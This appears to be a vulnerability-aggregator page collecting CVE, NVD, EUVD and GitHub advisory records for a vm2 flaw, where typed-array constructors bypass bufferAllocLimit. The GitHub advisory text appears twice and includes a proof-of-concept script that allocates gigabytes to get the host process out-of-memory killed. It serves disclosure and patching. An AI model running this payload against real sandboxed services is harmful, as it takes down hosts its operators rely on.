vm2 before 3.11.6 Memory Exhaustion DoS via bufferAllocLimit Bypass
cve-program · CVE-2026-92961
Publishedvm2 before 3.11.6 fails to enforce bufferAllocLimit on ArrayBuffer, SharedArrayBuffer, and TypedArray constructors, allowing attackers to allocate arbitrary host memory. Attackers can bypass the buffer allocation cap by using these V8 intrinsics to exhaust host process memory and trigger out-of-memory conditions.
Read the publisher's advisoryeuvd · EUVD-2026-81611
Publishedvm2 before 3.11.6 fails to enforce bufferAllocLimit on ArrayBuffer, SharedArrayBuffer, and TypedArray constructors, allowing attackers to allocate arbitrary host memory. Attackers can bypass the buffer allocation cap by using these V8 intrinsics to exhaust host process memory and trigger out-of-memory conditions.
Read the publisher's advisorynvd · CVE-2026-92961
Publishedvm2 before 3.11.6 fails to enforce bufferAllocLimit on ArrayBuffer, SharedArrayBuffer, and TypedArray constructors, allowing attackers to allocate arbitrary host memory. Attackers can bypass the buffer allocation cap by using these V8 intrinsics to exhaust host process memory and trigger out-of-memory conditions.
Read the publisher's advisoryosv · GHSA-v836-6xw4-9cx3
Published### Summary: The `bufferAllocLimit` defense (GHSA-6785-pvv7-mvg7) can be completely bypassed using `ArrayBuffer`, `SharedArrayBuffer`, or any `TypedArray` constructor. These allocate identical host-process RSS through the same V8/libuv C++ allocation path as `Buffer.alloc` but are not subject to the size cap. ### Details: The `bufferAllocLimit` option (vm2 v3.11.0+) caps `Buffer.alloc`, `Buffer.allocUnsafe`, `Buffer.allocUnsafeSlow`, and the deprecated `Buffer(N)` / `new Buffer(N)` forms. The cap is enforced in `setup-sandbox.js` via `checkBufferAllocLimit()` (line 353-359). However, `ArrayBuffer`, `SharedArrayBuffer`, `Uint8Array`, `Float64Array`, and all other TypedArray constructors are sandbox-realm V8 intrinsics that allocate host memory through the SAME underlying C++ path (`v8::ArrayBuffer::NewBackingStore` → `ArrayBufferAllocator::Allocate` → `calloc/malloc`). These constructors are NOT intercepted by the `bufferAllocLimit` defense. A single `new ArrayBuffer(N)` call with a large `N` exhausts host RSS in one synchronous allocation that V8's `timeout` cannot interrupt. ### Environment: - vm2 version: 3.11.3 - Node.js: v25.8.1 (affects all Node.js versions) - Configuration: Default `new VM()` or any configuration including `bufferAllocLimit` ### POC: ```javascript const { VM } = require('vm2'); // Operator sets bufferAllocLimit thinking they're protected: const vm = new VM({ bufferAllocLimit: 10 * 1024 * 1024 }); // 10MB cap // Buffer.alloc IS capped (as intended): try { vm.run('Buffer.alloc(20 * 1024 * 1024)'); } catch(e) { console.log('Buffer.alloc blocked:', e.message); } // → "Buffer allocation size 20971520 exceeds bufferAllocLimit 10485760" // But these BYPASS the cap entirely: vm.run('new ArrayBuffer(1024 * 1024 * 1024)'); // 1GB allocated! vm.run('new SharedArrayBuffer(1024 * 1024 * 1024)'); // 1GB allocated! vm.run('new Uint8Array(1024 * 1024 * 1024)'); // 1GB allocated! vm.run('new Float64Array(128 * 1024 * 1024)'); // 1GB allocated! // OOM kill in constrained environments (Docker, K8s, Lambda): vm.run('var a=[]; for(var i=0;i<100;i++) a.push(new ArrayBuffer(100*1024*1024))'); // → 10GB allocated → host OOM killed ``` **Verification:** ```bash node -e ' const {VM} = require("./lib/main.js"); const vm = new VM({bufferAllocLimit: 10*1024*1024}); try { vm.run("Buffer.alloc(20*1024*1024)"); } catch(e) { console.log("Buffer BLOCKED"); } console.log("ArrayBuffer:", vm.run("new ArrayBuffer(100*1024*1024).byteLength"), "bytes allocated"); console.log("SharedArrayBuffer:", vm.run("new SharedArrayBuffer(100*1024*1024).byteLength"), "bytes allocated"); ' # Output: # Buffer BLOCKED # ArrayBuffer: 104857600 bytes allocated # SharedArrayBuffer: 104857600 bytes allocated ``` ### Impact: - **Type:** Denial of Service (Host Memory Exhaustion) - **Attack Complexity:** Low - **Availability Impact:** Complete, host process OOM killed in memory-constrained environments - **Affected deployments:** Docker containers, Kubernetes pods, AWS Lambda, any environment with memory limits. Especially dangerous when operators explicitly set `bufferAllocLimit` believing they have DoS protection.
Read the publisher's advisoryAffected versions, risk and source history
Exploitation and risk
Source statusCISA KEV lists vulnerabilities known to be exploited. FIRST EPSS estimates the likelihood of exploitation in the next 30 days. An unavailable score does not mean zero risk.
Which CVEs have scores here?
This view includes predictions for CVE identifiers explicitly listed in public NuGet advisories. Microsoft release pages have their own prediction coverage. Check source status for the scope and latest checks.
No exploitation or prediction data is available here for these CVEs. This does not mean they are safe or unlikely to be exploited.
cve-program · CVE-2026-92961
Publishedvm2 before 3.11.6 Memory Exhaustion DoS via bufferAllocLimit Bypass
vm2 before 3.11.6 fails to enforce bufferAllocLimit on ArrayBuffer, SharedArrayBuffer, and TypedArray constructors, allowing attackers to allocate arbitrary host memory. Attackers can bypass the buffer allocation cap by using these V8 intrinsics to exhaust host process memory and trigger out-of-memory conditions.
- Source published
- 17 Sep 2026 13:46:17 UTC
- Source modified
- 21 Sep 2026 20:52:43 UTC
- Saved here
- 23 Oct 2026 15:48:27 UTC
- Source terms
- CVE Program Terms of Use
Original source record · Cite this exact observation · Complete original publisher JSON
Source: cve-program · CVE Program Terms of Use. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.
CVSS 4.0 · 8.7 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
CVSS 3.1 · 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
euvd · EUVD-2026-81611
Publishedvm2 before 3.11.6 fails to enforce bufferAllocLimit on ArrayBuffer, SharedArrayBuffer, and TypedArray constructors, allowing attackers to allocate arbitrary host memory. Attackers can bypass the buffer allocation cap by using these V8 intri…
vm2 before 3.11.6 fails to enforce bufferAllocLimit on ArrayBuffer, SharedArrayBuffer, and TypedArray constructors, allowing attackers to allocate arbitrary host memory. Attackers can bypass the buffer allocation cap by using these V8 intrinsics to exhaust host process memory and trigger out-of-memory conditions.
Additional publisher context
EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.
Original publisher date fields
datePublished: Sep 17, 2026, 1:46:17 PM
dateUpdated: Sep 21, 2026, 8:52:43 PM
7 related source bulletins · separate from aliases
RHSA-2026:82151: Red Hat Security Advisory: Ansible automation portal Red Hat Enterprise Linux Images
CVE-2026-13697 · CVE-2026-19534 · CVE-2026-47683 · CVE-2026-47686 · CVE-2026-47698 · CVE-2026-54284 · CVE-2026-55553 · CVE-2026-59893 · CVE-2026-71491 · CVE-2026-75899 · CVE-2026-75931 · CVE-2026-75975 · CVE-2026-76172 · CVE-2026-77037 · CVE-2026-82333 · CVE-2026-82417 · CVE-2026-84292 · CVE-2026-84375 · CVE-2026-84394 · CVE-2026-84961 · CVE-2026-88932 · CVE-2026-92934 · CVE-2026-92935 · CVE-2026-92937 · CVE-2026-92938 · CVE-2026-92939 · CVE-2026-92940 · CVE-2026-92941 · CVE-2026-92942 · CVE-2026-92944 · CVE-2026-92946 · CVE-2026-92947 · CVE-2026-92948 · CVE-2026-92950 · CVE-2026-92951 · CVE-2026-92953 · CVE-2026-92954 · CVE-2026-92955 · CVE-2026-92956 · CVE-2026-92957 · CVE-2026-92958 · CVE-2026-92959 · CVE-2026-92960 · CVE-2026-92961 · CVE-2026-93603 · CVE-2026-93604 · CVE-2026-93605 · CVE-2026-93606
RHSA-2026:72712: Red Hat Security Advisory: Ansible plug-ins for Red Hat Developer Hub Product Release Update
CVE-2026-5038 · CVE-2026-19534 · CVE-2026-47683 · CVE-2026-55553 · CVE-2026-59869 · CVE-2026-59879 · CVE-2026-82417 · CVE-2026-84375 · CVE-2026-87776 · CVE-2026-88932 · CVE-2026-89011 · CVE-2026-92000 · CVE-2026-92942 · CVE-2026-92958 · CVE-2026-92959 · CVE-2026-92961
RHSA-2026:91651: Red Hat Security Advisory: Red Hat Developer Hub 1.9.10 release.
CVE-2026-47683 · CVE-2026-47686 · CVE-2026-47698 · CVE-2026-84445 · CVE-2026-92934 · CVE-2026-92935 · CVE-2026-92937 · CVE-2026-92938 · CVE-2026-92939 · CVE-2026-92940 · CVE-2026-92941 · CVE-2026-92942 · CVE-2026-92944 · CVE-2026-92946 · CVE-2026-92947 · CVE-2026-92948 · CVE-2026-92950 · CVE-2026-92951 · CVE-2026-92953 · CVE-2026-92954 · CVE-2026-92955 · CVE-2026-92956 · CVE-2026-92957 · CVE-2026-92958 · CVE-2026-92959 · CVE-2026-92960 · CVE-2026-92961 · CVE-2026-93603 · CVE-2026-93604 · CVE-2026-93605 · CVE-2026-93606 · CVE-2026-111943
WID-SEC-W-2026-2865: vm2: Mehrere Schwachstellen
CVE-2026-47683 · CVE-2026-47686 · CVE-2026-47698 · CVE-2026-92961
RHSA-2026:79088: Red Hat Security Advisory: Red Hat Developer Hub 1.10.5 release.
CVE-2026-13697 · CVE-2026-14456 · CVE-2026-18798 · CVE-2026-19534 · CVE-2026-47683 · CVE-2026-47686 · CVE-2026-47698 · CVE-2026-55553 · CVE-2026-63072 · CVE-2026-63076 · CVE-2026-67213 · CVE-2026-67214 · CVE-2026-67422 · CVE-2026-75899 · CVE-2026-75931 · CVE-2026-75975 · CVE-2026-76172 · CVE-2026-77037 · CVE-2026-77078 · CVE-2026-82333 · CVE-2026-82417 · CVE-2026-84292 · CVE-2026-84375 · CVE-2026-84394 · CVE-2026-84445 · CVE-2026-84961 · CVE-2026-87776 · CVE-2026-88932 · CVE-2026-89011 · CVE-2026-92934 · CVE-2026-92935 · CVE-2026-92937 · CVE-2026-92938 · CVE-2026-92939 · CVE-2026-92940 · CVE-2026-92941 · CVE-2026-92942 · CVE-2026-92944 · CVE-2026-92946 · CVE-2026-92947 · CVE-2026-92948 · CVE-2026-92950 · CVE-2026-92951 · CVE-2026-92953 · CVE-2026-92954 · CVE-2026-92955 · CVE-2026-92956 · CVE-2026-92957 · CVE-2026-92958 · CVE-2026-92959 · CVE-2026-92960 · CVE-2026-92961 · CVE-2026-93603 · CVE-2026-93604 · CVE-2026-93605 · CVE-2026-93606
RHSA-2026:76788: Red Hat Security Advisory: Red Hat Developer Hub 1.10.5 Plugin Catalog GA plugins release.
CVE-2026-13697 · CVE-2026-19534 · CVE-2026-47683 · CVE-2026-47686 · CVE-2026-47698 · CVE-2026-55553 · CVE-2026-75899 · CVE-2026-75931 · CVE-2026-75975 · CVE-2026-76172 · CVE-2026-77037 · CVE-2026-77078 · CVE-2026-77413 · CVE-2026-77414 · CVE-2026-77415 · CVE-2026-82333 · CVE-2026-82417 · CVE-2026-84292 · CVE-2026-84375 · CVE-2026-84394 · CVE-2026-84961 · CVE-2026-87776 · CVE-2026-88932 · CVE-2026-89011 · CVE-2026-92934 · CVE-2026-92935 · CVE-2026-92937 · CVE-2026-92938 · CVE-2026-92939 · CVE-2026-92940 · CVE-2026-92941 · CVE-2026-92942 · CVE-2026-92944 · CVE-2026-92946 · CVE-2026-92947 · CVE-2026-92948 · CVE-2026-92950 · CVE-2026-92951 · CVE-2026-92953 · CVE-2026-92954 · CVE-2026-92955 · CVE-2026-92956 · CVE-2026-92957 · CVE-2026-92958 · CVE-2026-92959 · CVE-2026-92960 · CVE-2026-92961 · CVE-2026-93603 · CVE-2026-93604 · CVE-2026-93605 · CVE-2026-93606
RHSA-2026:72722: Red Hat Security Advisory: Ansible plug-ins for Red Hat Developer Hub Product Release Update
CVE-2026-19534 · CVE-2026-47683 · CVE-2026-55553 · CVE-2026-56859 · CVE-2026-59869 · CVE-2026-82417 · CVE-2026-84375 · CVE-2026-87776 · CVE-2026-88932 · CVE-2026-89011 · CVE-2026-92000 · CVE-2026-92942 · CVE-2026-92958 · CVE-2026-92959 · CVE-2026-92961
- Source published
- Sep 17, 2026, 1:46:17 PM (timezone not stated)
- Source modified
- Sep 21, 2026, 8:52:43 PM (timezone not stated)
- Saved here
- 11 Nov 2026 17:05:30 UTC
- Source terms
- ENISA EUVD · source terms and attribution apply
Original source record · Cite this exact observation · Complete original publisher JSON
Source: euvd · ENISA EUVD · source terms and attribution apply. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.
EUVD CVSS 4.0 · 8.7 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
nvd · CVE-2026-92961
Publishedvm2 before 3.11.6 fails to enforce bufferAllocLimit on ArrayBuffer, SharedArrayBuffer, and TypedArray constructors, allowing attackers to allocate arbitrary host memory. Attackers can bypass the buffer allocation cap by using these V8 intri…
vm2 before 3.11.6 fails to enforce bufferAllocLimit on ArrayBuffer, SharedArrayBuffer, and TypedArray constructors, allowing attackers to allocate arbitrary host memory. Attackers can bypass the buffer allocation cap by using these V8 intrinsics to exhaust host process memory and trigger out-of-memory conditions.
Additional publisher context
NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.
Source analysis status: Deferred
Weakness classifications: CWE-770
Original publisher date fields
published: 2026-09-17T14:18:02.447
lastModified: 2026-09-21T21:17:17.057
- Source published
- 17 Sep 2026 14:18:02 UTC
- Source modified
- 21 Sep 2026 21:17:17 UTC
- Saved here
- 25 Oct 2026 16:19:28 UTC
- Source terms
- NIST NVD usage terms; underlying source attribution retained
Original source record · Cite this exact observation · Complete original publisher JSON
Source: nvd · NIST NVD usage terms; underlying source attribution retained. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.
CVSS 4.0 · [email protected] · Secondary · 8.7 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
CVSS 3.1 · [email protected] · Secondary · 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
osv · GHSA-v836-6xw4-9cx3
Publishedvm2 has Memory Exhaustion DoS via bufferAllocLimit Bypass
### Summary: The `bufferAllocLimit` defense (GHSA-6785-pvv7-mvg7) can be completely bypassed using `ArrayBuffer`, `SharedArrayBuffer`, or any `TypedArray` constructor. These allocate identical host-process RSS through the same V8/libuv C++ allocation path as `Buffer.alloc` but are not subject to the size cap. ### Details: The `bufferAllocLimit` option (vm2 v3.11.0+) caps `Buffer.alloc`, `Buffer.allocUnsafe`, `Buffer.allocUnsafeSlow`, and the deprecated `Buffer(N)` / `new Buffer(N)` forms. The cap is enforced in `setup-sandbox.js` via `checkBufferAllocLimit()` (line 353-359). However, `ArrayBuffer`, `SharedArrayBuffer`, `Uint8Array`, `Float64Array`, and all other TypedArray constructors are sandbox-realm V8 intrinsics that allocate host memory through the SAME underlying C++ path (`v8::ArrayBuffer::NewBackingStore` → `ArrayBufferAllocator::Allocate` → `calloc/malloc`). These constructors are NOT intercepted by the `bufferAllocLimit` defense. A single `new ArrayBuffer(N)` call with a large `N` exhausts host RSS in one synchronous allocation that V8's `timeout` cannot interrupt. ### Environment: - vm2 version: 3.11.3 - Node.js: v25.8.1 (affects all Node.js versions) - Configuration: Default `new VM()` or any configuration including `bufferAllocLimit` ### POC: ```javascript const { VM } = require('vm2'); // Operator sets bufferAllocLimit thinking they're protected: const vm = new VM({ bufferAllocLimit: 10 * 1024 * 1024 }); // 10MB cap // Buffer.alloc IS capped (as intended): try { vm.run('Buffer.alloc(20 * 1024 * 1024)'); } catch(e) { console.log('Buffer.alloc blocked:', e.message); } // → "Buffer allocation size 20971520 exceeds bufferAllocLimit 10485760" // But these BYPASS the cap entirely: vm.run('new ArrayBuffer(1024 * 1024 * 1024)'); // 1GB allocated! vm.run('new SharedArrayBuffer(1024 * 1024 * 1024)'); // 1GB allocated! vm.run('new Uint8Array(1024 * 1024 * 1024)'); // 1GB allocated! vm.run('new Float64Array(128 * 1024 * 1024)'); // 1GB allocated! // OOM kill in constrained environments (Docker, K8s, Lambda): vm.run('var a=[]; for(var i=0;i<100;i++) a.push(new ArrayBuffer(100*1024*1024))'); // → 10GB allocated → host OOM killed ``` **Verification:** ```bash node -e ' const {VM} = require("./lib/main.js"); const vm = new VM({bufferAllocLimit: 10*1024*1024}); try { vm.run("Buffer.alloc(20*1024*1024)"); } catch(e) { console.log("Buffer BLOCKED"); } console.log("ArrayBuffer:", vm.run("new ArrayBuffer(100*1024*1024).byteLength"), "bytes allocated"); console.log("SharedArrayBuffer:", vm.run("new SharedArrayBuffer(100*1024*1024).byteLength"), "bytes allocated"); ' # Output: # Buffer BLOCKED # ArrayBuffer: 104857600 bytes allocated # SharedArrayBuffer: 104857600 bytes allocated ``` ### Impact: - **Type:** Denial of Service (Host Memory Exhaustion) - **Attack Complexity:** Low - **Availability Impact:** Complete, host process OOM killed in memory-constrained environments - **Affected deployments:** Docker containers, Kubernetes pods, AWS Lambda, any environment with memory limits. Especially dangerous when operators explicitly set `bufferAllocLimit` believing they have DoS protection.
- Source published
- 17 Aug 2026 17:32:57 UTC
- Source modified
- 18 Sep 2026 03:56:07 UTC
- Saved here
- 24 Oct 2026 13:17:17 UTC
- Source terms
- GitHub Advisory Database · CC-BY-4.0
Original source record · Cite this exact observation · Complete original publisher JSON
Source: osv · GitHub Advisory Database · CC-BY-4.0. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.
CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Publisher rating · HIGH